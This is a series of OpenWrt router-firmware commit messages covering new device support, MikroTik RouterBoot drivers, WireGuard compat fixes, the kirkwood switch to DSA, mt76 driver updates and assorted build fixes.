Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
The BL-W1200 Wireless Router is based on the MT7620A SoC.
Specification:
- MediaTek MT7620A (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 1x 802.11bgn radio
- 1x 802.11ac radio (MT7612E)
- 5x 10/100/1000 Mbps Ethernet (MT7530)
- 2x external, non-detachable antennas (Wifi 2.4G/5G)
- 1x USB 2.0
- UART (R2) on PCB (57600 8n1)
- 9x LED (1 GPIO controlled), 1x button
- u-Boot bootloader
Known issues:
- No status LED. Used WPS LED during boot/failsafe/sysupgrade.
Installation:
1. Apply initramfs image via factory web-gui.
2. Install sysupgrade image.
How to revert to OEM firmware:
- sysupgrade -n -F stock_firmware.bin
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
The user can now enable the ACK timeout estimation algorithm (dynack)
for drivers that support it.
It is also expected that the distance config accepts the same values as:
$ iw phyX set distance XXX
Signed-off-by: Ali MJ Al-Nasrawy <alimjalnasrawy@gmail.com>
Most work was done in commit 021c893658 ("ramips: fix size-cells on spi
nodes"), but a few more DTS files using the old reg style have been added
since then. This commit fixes them.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Certain SFP modules (most notably Nokia GPON ones) first check
connectivity on 1000base-x, and switch to 2500base-x afterwards. This
is considered a quirk so the phylink switches the interface to
2500base-x as well.
However, after power-cycling the uDPU device, network interface/SFP module
will not work correctly until the module is re-seated. This patch
resolves this issue by forcing the interface to be brought up in
2500base-x mode by default.
Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr>
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Cc: Luka Perkov <luka.perkov@sartura.hr>
Out of all devices currently supported based on AR9331 chipset,
this one had the 'serial0' alias missing. Add it to fix setting of
/dev/console and login shell on the onboard UART.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
- use tab indent in image build recipes for consistency
- harmonize line wrapping
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[use different line wrapping for one recipe]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As the node is already defined and labeled in SoC DTSI file, we can refer to it
outside of root node and reduce redundancy.
While at it, remove unused pcf8563 label.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Change "0" to "0x0" for consistency. This is an extension of commit 34abfb6e91
("ramips: convert mediatek,mtd-eeprom from decimal to hex notation").
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Fixes a build error seen when applying the kernel patches.
Applying patch generic/435-mtd-add-routerbootpart-parser-config.patch
patching file drivers/mtd/parsers/Kconfig
Hunk #1 FAILED at 160.
1 out of 1 hunk FAILED -- rejects in file drivers/mtd/parsers/Kconfig
patching file drivers/mtd/parsers/Makefile
Hunk #1 FAILED at 10.
1 out of 1 hunk FAILED -- rejects in file drivers/mtd/parsers/Makefile
This was missed as 5.4 is currently set as testing kernel
while the main kernel being used is 4.19
Fixes: 2976e423dc ("generic: routerboot partition build bits")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
As evidenced here[1] the device MAC address can be stored at a random
offset in the hard_config partition. Rely on sysfs to update the MAC
address correctly.
Adjust config so that WAN is base MAC and LAN is base MAC +1 to better
match label and vendor OS.
[1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610809021
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This commit takes advantages of base-files 220 which introduces routines
to perform caldata loading directly via the kernel sysfs loader helper.
This has the benefits of not wasting flash space to store caldata.
Memory footprint is reduced to the bare minimum: for devices that don't
need MAC patching, the caldata is loaded directly, for devices that do
need MAC patching, the caldata is extracted to /tmp, patched and then
loaded.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This will enable platforms to extract caldata to an arbitrary file,
or patch mac in an abitrary file.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Rationale:
1/ This tool is no longer necessary following the implementation of a
sysfs driver
2/ The upstream author, Robert Marko, stated[1] that this tool had been
taken from his tree in an unfinished state not suitable for merging
[1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610277863
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
With the implementation of a sysfs interface to access WLAN data, this
target no longer needs a special wrapper to extract caldata.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
As evidenced here[1] the device MAC address can be stored at a random
offset in the hard_config partition. Rely on sysfs to update the MAC
address correctly.
To match sticker and vendor OS behavior, WAN MAC is set to the device
base MAC and LAN MAC is incremented from that.
Note: this will trigger a harmless kernel message during boot:
ag71xx 19000000.eth: invalid MAC address, using random address
There is no clean workaround to prevent this message from being emitted.
[1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610809021
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Some newer MikroTik RouterBOARD devices use a new encoding scheme
for their WLAN calibration data. This patch provides support for
decoding this new scheme.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This driver exposes the data encoded in the "hard_config" flash segment
of MikroTik RouterBOARDs devices. It presents the data in a sysfs folder
named "hard_config". The WLAN calibration data is available on demand via
the 'wlan_data' sysfs file in that folder.
This driver permanently allocates a chunk of RAM as large as the
"hard_config" MTD partition (typically 4KB), although it is technically
possible to operate entirely from the MTD device without using a local
buffer (except when requesting WLAN calibration data), at the cost of a
performance penalty.
This driver does not reuse any of the existing code previously found in
routerboot.c.
This driver has been successfully tested on BE (ath79) and LE (ipq40xx
and ramips) hardware.
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Tested-by: Baptiste Jonglez <git@bitsofnetworks.org>
Tested-by: Tobias Schramm <t.schramm@manjaro.org>
Tested-by: Christopher Hill <ch6574@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This driver provides an OF MTD parser to properly assign the RouterBoot
partitions on the flash. This parser builds from the "fixed-partitions"
one (see ofpart.c), but it can handle dynamic partitions as found on
routerboot devices.
The parent node must contain the following:
compatible = "mikrotik,routerboot-partitions";
#address-cells = <1>;
#size-cells = <1>;
Children routerbootpart DTS nodes are defined as follows:
For fixed partitions
node-name@unit-address {
reg = <prop-encoded-array>;
label = <string>;
read-only;
lock;
};
All properties but reg are optional.
For dynamic partitions:
node-name {
size = <prop-encoded-array>;
label = <string>;
read-only;
lock;
};
size property is mandatory unless the next partition is a fixed one or
a "well-known" one (matched from the strings defined below) in which case
it can be omitted or set to 0; other properties are optional.
By default dynamic partitions are appended after the preceding one, except
for "well-known" ones which are automatically located on flash.
Well-known partitions (matched via label or node-name):
- "hard_config"
- "soft_config"
- "dtb_config"
This parser requires the DTS to list partitions in ascending order as
expected on the MTD device.
This parser has been successfully tested on BE (ath79) and LE (ipq40xx
and ramips) hardware.
Tested-by: Baptiste Jonglez <git@bitsofnetworks.org>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Tested-by: Tobias Schramm <t.schramm@manjaro.org>
Tested-by: Christopher Hill <ch6574@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
add option to set management IP pattern
also add missing 'unconfigure system hostname'
for example pattern '!192.168.1.1' makes it possible that
WAN IP is selected instead of LAN IP
Signed-off-by: Daniel A. Maierhofer <git@damadmai.at>
[grammar and spelling fixes in commit message]
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Samba 3.6 is completely unsupported, in addition to having tons of patches
It also causes kernel panics on some platforms when sendfile is enabled.
Example:
https://github.com/gnubee-git/GnuBee_Docs/issues/45
I have reproduced on ramips as well as mvebu in the past.
Samba 4 is an alternative available in the packages repo.
cifsd is a lightweight alternative available in the packages repo. It is
also a faster alternative to both Samba versions (lower CPU usage). It
was renamed to ksmbd.
To summarize, here are the alternatives:
- ksmbd + luci-app-cifsd
- samba4 + luci-app-samba4
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[drop samba36-server from GEMINI_NAS_PACKAGES, ksmbd rename + summary]
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
We do not have to define package for each board, and
consider variant's installing.
It is easier to maintain ls-dpl with only one package
installing all 4 files as intermediate files.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
We do not have to define package for each board, and
consider variant's installing.
It is easier to maintain ls-mc with only one package
installing all two images as intermediate files.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
We do not have to define package for each board, and
consider variant's installing.
It is easier to maintain fman-ucode with only one package
installing all two binaries as intermediate files.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Update tfa package to latest LSDK-20.04 dropping one patch
which had already been integrated.
Add fixes,
- Fix DEPENDS/PKG_BUILD_DEPENDS.
- Remove HIDDEN:=1.
- Move intermediate files installing into Build/InstallDev.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Update u-boot package to latest LSDK-20.04 dropping patches
which are no longer needed.
Adapt u-boot bootargs to kernel 5.4 for booting.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Update ls-rcw to latest LSDK-20.04.
Update patch 0001 with a new one.
Drop patch 0002 since it had been integrated.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
We do not have to define package for each board, and
consider variant's building/installing.
It is easier to maintain ls-rcw with only one package
installing all boards RCW binaries as intermediate
files, each of which is just about hundreds of bytes.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
The Freescale IFC NAND/NOR controllers options were disabled
in default in previous running make kernel_oldconfig.
So re-enable them.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Add patches for linux-5.4. The patches are from NXP LSDK-20.04 release
which was tagged LSDK-20.04-V5.4.
https://source.codeaurora.org/external/qoriq/qoriq-components/linux/
For boards LS1021A-IOT, and Traverse-LS1043 which are not involved in
LSDK, port the dts patches from 4.14.
The patches are sorted into the following categories:
301-arch-xxxx
302-dts-xxxx
303-core-xxxx
701-net-xxxx
801-audio-xxxx
802-can-xxxx
803-clock-xxxx
804-crypto-xxxx
805-display-xxxx
806-dma-xxxx
807-gpio-xxxx
808-i2c-xxxx
809-jailhouse-xxxx
810-keys-xxxx
811-kvm-xxxx
812-pcie-xxxx
813-pm-xxxx
814-qe-xxxx
815-sata-xxxx
816-sdhc-xxxx
817-spi-xxxx
818-thermal-xxxx
819-uart-xxxx
820-usb-xxxx
821-vfio-xxxx
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
* compat: timeconst.h is a generated artifact
Before we were trying to check for timeconst.h by looking in the kernel
source directory. This isn't quite correct on configurations in which
the object directory is separate from the kernel source directory, for
example when using O="elsewhere" as a make option when building the
kernel. The correct fix is to use $(CURDIR), which should point to
where we want.
* compat: use bash instead of bc for HZ-->USEC calculation
This should make packaging somewhat easier, as bash is generally already
available (at least for dkms), whereas bc isn't provided by distros by
default in their build meta packages.
* socket: remove errant restriction on looping to self
It's already possible to create two different interfaces and loop
packets between them. This has always been possible with tunnels in the
kernel, and isn't specific to wireguard. Therefore, the networking stack
already needs to deal with that. At the very least, the packet winds up
exceeding the MTU and is discarded at that point. So, since this is
already something that happens, there's no need to forbid the not very
exceptional case of routing a packet back to the same interface; this
loop is no different than others, and we shouldn't special case it, but
rather rely on generic handling of loops in general. This also makes it
easier to do interesting things with wireguard such as onion routing.
At the same time, we add a selftest for this, ensuring that both onion
routing works and infinite routing loops do not crash the kernel. We
also add a test case for wireguard interfaces nesting packets and
sending traffic between each other, as well as the loop in this case
too. We make sure to send some throughput-heavy traffic for this use
case, to stress out any possible recursion issues with the locks around
workqueues.
* send: cond_resched() when processing tx ringbuffers
Users with pathological hardware reported CPU stalls on CONFIG_
PREEMPT_VOLUNTARY=y, because the ringbuffers would stay full, meaning
these workers would never terminate. That turned out not to be okay on
systems without forced preemption. This commit adds a cond_resched() to
the bottom of each loop iteration, so that these workers don't hog the
core. We don't do this on encryption/decryption because the compat
module here uses simd_relax, which already includes a call to schedule
in preempt_enable.
* selftests: initalize ipv6 members to NULL to squelch clang warning
This fixes a worthless warning from clang.
* send/receive: use explicit unlikely branch instead of implicit coalescing
Some code readibility cleanups.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
ar8229 and ar8236 don't allow unknown unicast/multicast frames and
broadcast frames to be flooded to cpu port. This isn't desired behavior
for swconfig as we treat it as a standalone switch.
Current code doesn't enable unicast frame flooding for ar8229 and uses
wrong setup for ar8236. This commit fixes both of them by enabling port
0 flooding for all unknown frames.
Fixes: FS#2848
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Common Platform Enumeration (CPE) is a structured naming scheme for
information technology systems, software, and packages.
This information already exists in some makefiles. In order for the
information to be processed further, it should also be added to the
manifest file and the control file of ipkg packages.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
* uci state was not getting reset properly during teardown
* AP+STA co-exist state was not flushed properly upon channel switch
* remove a debug logger call
* properly teardown supplicant instances when they get disabled
* add md5 config support for supplicant
* don't call wpa_supplicant_prepare_interface twice
Signed-off-by: John Crispin <john@phrozen.org>
If you want to use the Raspberry Pi UART, "console=serial0,115200" needs
to be removed from the kernel cmdline. This is done by editing
/boot/cmdline.txt. However, this file is not currently backed up during
sysupgrade, so this effectively breaks HATs that require the use of the
UART every sysupgrade.
Backup this file during sysupgrade, and restore it before rebooting.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
As touch creates files with permission 0644 use umask to create
config files with permission 0600 to be inline with INSTALL_CONF
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
* compat: support latest suse 15.1 and 15.2
* compat: support RHEL 7.8's faulty siphash backport
* compat: error out if bc is missing
* compat: backport hsiphash_1u32 for tests
We now have improved support for RHEL 7.8, SUSE 15.[12], and Ubuntu 16.04.
* compat: include sch_generic.h header for skb_reset_tc
A fix for a compiler error on kernels with weird configs.
* compat: import latest fixes for ptr_ring
* compat: don't assume READ_ONCE barriers on old kernels
* compat: kvmalloc_array is not required anyway
ptr_ring.h from upstream was imported, with compat modifications, to our
compat layer, to receive the latest fixes.
* compat: prefix icmp[v6]_ndo_send with __compat
Some distros that backported icmp[v6]_ndo_send still try to build the compat
module in some corner case circumstances, resulting in errors. Work around
this with the usual __compat games.
* compat: ip6_dst_lookup_flow was backported to 3.16.83
* compat: ip6_dst_lookup_flow was backported to 4.19.119
Greg and Ben backported the ip6_dst_lookup_flow patches to stable kernels,
causing breaking in our compat module, which these changes fix.
* git: add gitattributes so tarball doesn't have gitignore files
Distros won't need to clean this up manually now.
* crypto: do not export symbols
These don't do anything and only increased file size.
* queueing: cleanup ptr_ring in error path of packet_queue_init
Sultan Alsawaf reported a memory leak on an error path.
* main: mark as in-tree
Now that we're upstream, there's no need to set the taint flag.
* receive: use tunnel helpers for decapsulating ECN markings
ECN markings are now decapsulated using RFC6040 instead of the old RFC3168.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Pulls in workaround for TX rate code firmware bug which might as well
help track it down via different printk()s and thus possibly provide
more clue for proper fix.
Firmware currently sends wrong (0xff) TX rate code which causes
WARN_ONCE, so the workaround just changes this bogus value (0xff) into 0.
For 5.4 it also pulls in tx-queue-wake throttling patch "ath10k: Restart
xmit queues below low-water mark", which should improve performance with
high number of concurrent TCP streams.
Ref: https://github.com/greearb/ath10k-ct/pull/129
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Init script checks for an already active DHCP server on the interface
and if such DHCP server is found, then it logs "refusing to start DHCP"
message, starts dnsmasq without DHCP service unless `option force 1` is
set and caches the DHCP server check result.
Each consecutive service start then uses this cached DHCP server check
result, but doesn't provide log feedback about disabled DHCP service
anymore.
So this patch ensures, that the log message about disabled DHCP service
on particular interface is always provided.
Acked-by: Hans Dedecker <dedeckeh@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This board was previously supported in ar71xx as 'RUT9XX'. The
difference between that and the other RUT955 board already supported in
ath79 is that instead of the SPI shift registers driving the LEDs and
digital outputs that model got an I2C GPIO expander instead.
To support LEDs during early boot and interrupt-driven digital inputs,
I2C support as well as support for PCA953x has to be built-in and
cannot be kernel modules, hence select those symbols for ath79/generic.
Specification:
- 550/400/200 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 16 MB of FLASH (SPI NOR)
- 4x 10/100 Mbps Ethernet, with passive PoE support on LAN1
- 2T2R 2,4 GHz (AR9344)
- built-in 4G/3G module (example: Quectel EC-25EU)
- internal microSD slot (spi-mmc, buggy and disabled for now)
- RS232 on D-Sub9 port (Cypress ACM via USB, /dev/ttyACM0)
- RS422/RS485 (AR934x high speed UART, /dev/ttyATH1)
- analog 0-24V input (MCP3221)
- various digital inputs and outputs incl. a relay
- 11x LED (4 are driven by AR9344, 7 by PCA9539)
- 2x miniSIM slot (can be swapped via GPIO)
- 2x RP-SMA/F (Wi-Fi), 3x SMA/F (2x WWAN, GPS)
- 1x button (reset)
- DC jack for main power input (9-30 V)
- debugging UART available on PCB edge connector
Serial console (/dev/ttyS0) pinout:
- RX: pin1 (square) on top side of the main PCB (AR9344 is on top)
- TX: pin1 (square) on bottom side
Flash instruction:
Vendor firmware is based on OpenWrt CC release. Use the "factory" image
directly in GUI (make sure to uncheck "keep settings") or in U-Boot web
based recovery. To avoid any problems, make sure to first update vendor
firmware to latest version - "factory" image was successfully tested on
device running "RUT9XX_R_00.06.051" firmware and U-Boot "3.0.1".
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Split device-tree of Teltonika RUT955 into a generic RUT9xx part and
a part specific to that version of RUT955 already supported.
Also harmonize GPIO and LED names with what is used by the vendor
firmware and assign RS485 DTR signal.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Due to the switch to DSA, the kernel image has become too big (2641k) for the
kernel partition (2624k) on this device:
WARNING: Image file [...]/linux-kirkwood/linksys_audi-uImage is too big
Disable the device until this is fixed, so buildbots can continue their work.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
undefine was added in make 3.82 which is now some 10 years ago, some
make scripts are beginning to use 'undefine'
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This adds some still-missing board names for old TP-Link devices
to ath79 SUPPORTED_DEVICES.
Fixes: FS#3017
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit a1693bf626.
The rt288x and rt3883 devices in question don't have switches.
Only keep the merged case for rt305x.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
kirkwood has moved to DSA on 5.4, which will make kernel 4.14 and 4.19
support broken on the affected devices.
Support on kernel 5.4 seems to have been running fine for almost 2 months
on multiple devices, while support for 4.19 has never left testing state.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Pawel Dembicki <paweldembicki@gmail.com>
kirkwood has moved to DSA on 5.4, which will make kernel 4.14 and 4.19
support broken on the affected devices.
Support on kernel 5.4 seems to have been running fine for almost 2 months
on multiple devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Pawel Dembicki <paweldembicki@gmail.com>
This patch removes support for swconfig and switches to dsa driver.
swconfig and switch drivers are removed. DSA driver is enabled and
configuration is adjusted.
In kirkwood only two devices have switches: Linksys EA3500 and EA4500.
WAN MAC configuration in 02_network is required because otherwise WAN
would have the same MAC address as lan interfaces. In swconfig solution
the WAN address was assigned in u-Boot to eth1. Now, as eth1 is disabled
and wan is part of the switch, we have to set it manually.
Compile tested: EA3500, EA4500
Run tested: EA4500
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[minor commit title/message adjustments, remove swconfig package
for devices]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Backport patch from hostapd.git master that fixes copy/paste error in
crypto_bignum_sub() in crypto_wolfssl.c.
This missing fix was discovered while testing SAE over a mesh interface.
With this fix applied and wolfssl >3.14.4 mesh+SAE works fine with
wpad-mesh-wolfssl.
Cc: Sean Parkinson <sean@wolfssl.com>
Signed-off-by: Antonio Quartulli <a@unstable.cc>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
For wave-2, there is now a new variant: htt-mgt-community (vs the old
full-htt-mgt-community).
The non-full one (hence forth 'diet') compiles out a lot of firmware features
that ath10k does not use. This saves a lot of resources and lets one
configure more stations/vdevs/etc using fwcfg.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Fixes following build error on mpc85xx/generic:
ppc_initreg.c: In function 'ppc_set_initial_registers_tid':
ppc_initreg.c:79:22: error: field 'r' has incomplete type
struct pt_regs r;
Ref: FS#2924
Fixes: d27623b542 ("elfutils: update to 0.179")
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Another release is overdue for quite some time, so I'm backporting three
fixes from upstream which I plan to backport into 19.07 as well.
Ref: FS#2880
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Like for Ubiquiti PowerBeam 5AC Gen2, the highest RSSI LED can
be exploited to indicate boot/failsafe/upgrade for the NanoBeam AC
and Nanostation AC as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Ubiquiti PowerBeam 5AC Gen 2 (PBE-5AC-Gen2) is an outdoor 802.11ac
5 GHz bridge with a radio feed and a dish antenna. The device is
hardware-compatible with the LiteBeam AC Gen2, plus the 4 extra LEDs.
Specifications:
- SoC: Qualcomm Atheros AR9342 rev 2
- RAM: 64 MB DDR2
- Flash: 16 MB SPI NOR (mx25l12805d)
- Ethernet: 1x 10/100/1000 Mbps Atheros 8035, 24 Vdc PoE-in
- WiFi 5 GHz: QCA988x HW2.0 Ubiquiti target 0x4100016c chip_id 0x043222ff
- WiFi 2.4 GHz: Atheros AR9340 (SoC-based)
- Buttons: 1x (reset)
- LEDs: 1x power, 1x Ethernet, 4x RSSI via GPIO. All blue.
- UART: not tested
Installation from stock airOS firmware:
- Follow instructions for WA-type Ubiquiti devices on OpenWrt wiki
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[changed device name in commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In rt3883 subtarget, several devices add swconfig to their DEVICE_PACKAGES.
This is redundant as the package is already provided via DEFAULT_PACKAGES.
Remove the redundant inclusions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
These definitions are not required since swconfig is selected for
the target anyway and kmod-swconfig is pulled as dependency by
kmod-switch-rtl8366rb.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Commit 8f6334eb94 ("ramips: explicitly disable built-in switch when needed")
did not fix rt288x and rt3883 devices. This patch deals with them.
While at it, consolidate duplicate cases in interface setup.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Three of the I-O DATA devices with NAND flash share a lot of
variables. Create a common definition for them to reduce duplicate
code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes following compile error:
```
CC drivers/net/ethernet/mediatek/mtk_eth_soc.o
drivers/net/ethernet/mediatek/mtk_eth_soc.c:70:5: error: conflicting types for 'mtk_m32'
u32 mtk_m32(struct mtk_eth *eth, u32 mask, u32 set, unsigned reg)
^~~~~~~
In file included from drivers/net/ethernet/mediatek/mtk_eth_soc.c:25:
drivers/net/ethernet/mediatek/mtk_eth_soc.h:964:6: note: previous declaration of 'mtk_m32' was here
void mtk_m32(struct mtk_eth *eth, u32 clear, u32 set, unsigned reg);
^~~~~~~
```
which caused by 5.4.34 mainlining of mtk_m32 function.
Fixes: faf668be35 ("kernel: bump 5.4 to 5.4.34")
Signed-off-by: Yong-hyu, Ban <perillamint@quendi.moe>
bef8f8a5966d mt76: mt7615: remove a stray if statement
89bd7199487f mt76: remove variable 'val' set but not used
ee8ac234b84e mt76: mt7615: introduce mt7615_mcu_fill_msg
4999db4668f0 mt76: mt7615: introduce mt7615_mcu_wait_response
8ce6e40eba03 mt76: mt7615: cleanup fw queue just for mmio devices
9d1d2ee9add3 mt76: mt7615: introduce mt7615_init_device routine
7fbd2a57cea4 mt76: always init to 0 mcu messages
3b277cf18d95 mt76: mt7615: introduce mt7615_mcu_send_message routine
2a4132a55a4f mt76: mt7615: add mt7615_mcu_ops data structure
9ba71749a122 mt76: mt7615: move mt7615_mcu_set_bmc to mt7615_mcu_ops
2e991f3e8cdd mt76: mt7615: move mt7615_mcu_set_sta in mt7615_mcu_ops
56852057cb90 mt76: mt7615: rely on skb API for mt7615_mcu_set_eeprom
642ecd978887 mt76: mt7615: rework mt7615_mcu_set_bss_info using skb APIs
2b0810af4a52 mt76: mt7615: move more mcu commands in mt7615_mcu_ops data structure
7a6285e63d88 mt76: mt7615: introduce MCU_FW_PREFIX for fw mcu commands
e536b42ebc7d mt76: mt7615: introduce mt7615_register_map
fccbdb628ffd mt76: mt7615: add mt7663e support to mt7615_reg_map
d42244e9255c mt76: mt7615: add mt7663e support to mt7615_{driver,firmware}_own
aebbe088127f mt76: mt7615: add mt7663e support to mt7615_mcu_set_eeprom
28e22d07f892 mt76: mt7615: introduce mt7615_eeprom_parse_hw_band_cap routine
167428592647 mt76: mt7615: introduce mt7615_init_mac_chain routine
23ca7acfc856 mt76: mt7615: introduce uni cmd command types
c4171728cf70 mt76: mt7615: introduce set_bmc and st_sta for uni commands
9e5c76d2310a mt76: mt7615: add more uni mcu commands
779b2cebc147 mt76: mt7615: introduce set_ba uni command
21ee7da00f0a mt76: mt7615: get rid of sta_rec_wtbl data structure
2097f74f664c mt76: mt7615: introduce mt7663e support
8e9cd01228d0 mt7615: sync Kconfig with upstream
3b4f93840950 mt76: add memory barrier to DMA queue kick
8d301ace8ed7 mt76: mt7615: fix mt7663e firmware struct endianness
9bc1850ce711 mt76: mt7615: fix endianness in unified command
a1b9b7d94aa0 mt76: mt7615: add missing declaration in mt7615.h
6e4b2a709fe7 mt76: sync Makefile with upstream
258dfb6afb30 mt76: mt76x02u: Add support for newer versions of the XBox One wifi adapter
9c3d84b62cc0 mt76: mt76x2u: introduce Mercury UD13 support
ea8ea71933ca mt76: mt76x0: pci: add mt7610 PCI ID
9d555f82d329 mt76: mt7615: modify mt7615_ampdu_stat_read for each phy
8bd26d6c3172 mt76: mt7615: enable aggr_stats for both phy
1315afa511e0 mt76: mt7615: cleanup mib related defines and structs
072b50c61e0e mt76: mt7615: add more useful Tx mib counters
b23ff3e9343a mt76: mt7663: fix mt7615_mac_cca_stats_reset routine
294abe47c9b2 mt76: mt7663: enable nf estimation
d2d7bf2243f6 mt76: mt7615: make scs configurable per phy
908a2cfab88f mt76: mt7663: disable RDD commands
eaef0a268b95 mt76: mt7615: add ethool support to mt7663 driver
96e07ef1113d mt76: mt7615: introduce mt7615_mcu_set_channel_domain mcu command
67182f36e3be mt76: mt7663: keep Rx filters as the default
e6a3f3ffe53a mt76: mt7615: introduce hw scan support
12ecd5ba2146 mt76: mt7615: introduce scheduled scan support
f6ab0bee3172 mt76: mt7615: introduce BSS absence event
f208a9430044 mt76: mt7615: introduce rlm tlv in bss_info mcu command
ea4f4d216dbe mt76: mt7615: remove unnecessary register operations
72c9380e70f9 mt76: add headroom and tailroom to mt76_mcu_ops data structure
63e14669e09d mt76: mt7615: introduce mt7663u support to mt7615_write_txwi
29d359ac7626 mt76: mt7615: introduce mt7615_mac_update_rate_desc routine
1f1dd2cb5b49 mt76: mt7615: introduce __mt7663_load_firmware routine
cb6dcfd3cf13 mt76: mt7615: move mt7615_mac_wtbl_addr in mac.h
d28e8e7ef912 mt76: mt76u: rely on mt7622 queue scheme for mt7663u
f78cf8957aba mt76: mt7615: rework wtbl key configuration
2829497aaaf5 mt76: mt7615: introduce mt7615_wtbl_desc data structure
02c9ec4a15e7 mt76: mt7615: add address parameter to mt7615_eeprom_init
e9c640c0a79e mt76: mt7663: correct the name of the rom patch
1e8b2fe5ab03 mt76: mt7615: do not always reset the dfs state setting the channel
ec0ea46dacf9 mt76: mt7615: Delete an error message in mt7622_wmac_probe()
d16a4698f1ac mt76: mt7615: disable merge of OTP ROM data by default
2b58998bb594 mt76: mt7615: add support for applying DC offset calibration from EEPROM
55198aafb756 mt76: mt7615: add support for applying tx DPD calibration from EEPROM
5a1eaa38d380 mt76: mt7603: disable merge of OTP ROM data by default
bf60f43b12fb mt76: mt76x2: disable merge of OTP ROM data by default
9406eb1d110f mt76: mt7615: fix endian issues in applying flash calibration data
66d00b8c9dac mt76: mt7615: fix possible division by 0 in mt7615_mac_update_mib_stats
25d812dddcf8 mt76: mt7663: fix aggr range entry in debugfs
08b8bd2bc915 mt76: mt7615: disable hw/sched scan ops for non-offload firmware
8fb1cd20a776 mt76: mt7615: set hw scan limits only for firmware with offload support
05b23d7478fe mt76: mt7615: rework IRQ handling to prepare for MSI support
b92c0d576769 mt76: mt7622: fix DMA unmap length
03daa60ca69c mt76: mt7663: fix DMA unmap length
5f2f676b1f01 mt76: mt7615: enable MSI by default
5822911f8026 mt76: remove unnecessary annotations
a7035bce8517 mt76: mt7615: fix possible deadlock in mt7615_stop
d4e6e225bc06 mt76: mt7615: move core shared code in mt7615-common module
94827d2033c7 mt76: mt7615: introduce mt7663u support
36591dd35f91 mt76: mt7615: enable scs for mt7663 driver
bd80144cb5be mt76: mt7615: disable aspm by default
9dcb60b78ede mt76: mt7615: provide aid info to the mcu
6e443e89cce2 mt76: remove PS_NULLFUNC_STACK capability
ea133325faa6 mt76: mt7663: introduce 802.11 PS support in sta mode
ff3869b38cf2 mt76: mt7615: make Kconfig entry obvious for MT7663E
01fd34f3a6c5 mt76: mt7615: fix sta ampdu factor for VHT
e5adbb2077e2 mt76: fix A-MPDU density handling
d73e3a23a54e mt76: mt7615: use larger rx buffers if VHT is supported
